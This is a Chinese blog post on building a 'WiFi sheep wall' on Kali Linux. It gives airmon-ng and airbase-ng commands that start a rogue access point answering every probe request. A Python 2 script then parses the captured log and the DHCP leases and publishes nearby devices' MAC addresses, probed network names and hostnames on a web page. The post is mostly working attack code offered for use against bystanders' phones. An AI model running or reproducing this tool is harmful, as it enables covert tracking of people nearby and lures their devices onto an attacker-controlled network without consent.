Kali linux搭建wifi绵羊墙

复现了获取SSID,但手机连不上来获取主机名,可能是因为手机保存的热点是有密码的。

设置网卡

网卡支持的情况下,kali下直接运行

复制代码
ifconfig wlan0 up
airmon-ng check kill
airmon-ng start wlan0
airbase-ng -P -C 30 -v wlan0mon | tee nohup.out

网页显示,python2

show.py,注意修改nohup.out的路径

复制代码
import SimpleHTTPServer
import SocketServer
import threading
import os
import json
from time import sleep
class back(threading.Thread):
    def __init__(self):
        threading.Thread.__init__(self)
    def cmd(self,c):
        c=os.popen(c).read()
        return c
    def run(self):
        while True:
            cmd_=self.cmd("cat ./nohup.out |grep -|awk -F 'from ' '{print$2}'|sort |uniq ").replace('"','').split('\n')
            nohup=''
            x=0
            for i in cmd_:
                j='  "%d":"%s",' %(x,i) 

                nohup+= j
                x+=1

            nohup='{%s}'%nohup[:len(nohup)-1]
            cmd_h=self.cmd("cat /var/lib/dhcp/dhcpd.leases|grep host|awk '{print$2}' ").replace('"','').split('\n')
            x=0
            dhcp=''
            for i in cmd_h:
                j='  "%d":"%s",' %(x,i)             
                dhcp+= j
                x+=1
            dhcp='{%s}'%dhcp[:len(dhcp)-1]
            open('Host.json','w').write(dhcp)
            open('Mac.json','w').write(nohup)
            print dhcp,nohup
            print "reading .."
            sleep(30)
back().start()

PORT = 8009
Handler = SimpleHTTPServer.SimpleHTTPRequestHandler
httpd = SocketServer.TCPServer(("", PORT), Handler)

print "serving at port", PORT
httpd.serve_forever()

最终效果

类似于:


参考:

https://www.freesion.com/article/68271084308/

相关推荐
深念Y8 天前
中兴BAV系列机顶盒WiFi天线改造记:从合盖信号差到外壳开孔外置
网络·wifi·天线·信号·diy·数码·机顶盒
欢乐熊嵌入式编程12 天前
用 ESP32 + WiFi 做远程控制插座(从原理到实战)
单片机·wifi·智能路由器·esp32·远程控制插座
阿龙的工作记录24 天前
RK平台:调试SRM825 WiFi模组
5g·wifi·rk
石头wang1 个月前
分辨率与WLAN
wifi·分辨率·wlan
深念Y1 个月前
腾达路由器无线中继模式:WISP与Client+AP什么意思
网络·wifi·智能路由器·路由器·ssid·腾达·无线中继
summerkissyou19872 个月前
android -wifi/蓝牙-常见面试题
android·wifi·bluetooth
一个平凡而乐于分享的小比特2 个月前
USB Wi-Fi 三模式详解:Station、AP与Ad-Hoc
wifi·usb·ad-hoc·ap·station
dozenyaoyida2 个月前
BLE传输WiFi列表的问题分析
网络·经验分享·物联网·wifi·中文乱码·json解析·ble
whik11942 个月前
ESP32-C3-DevKitM-1开发板深度上手评测
wifi·嵌入式·esp32·arduino·蓝牙·开发板·乐鑫
flysh052 个月前
Python 提取本机连接过WiFi名称和密码
python·wifi·password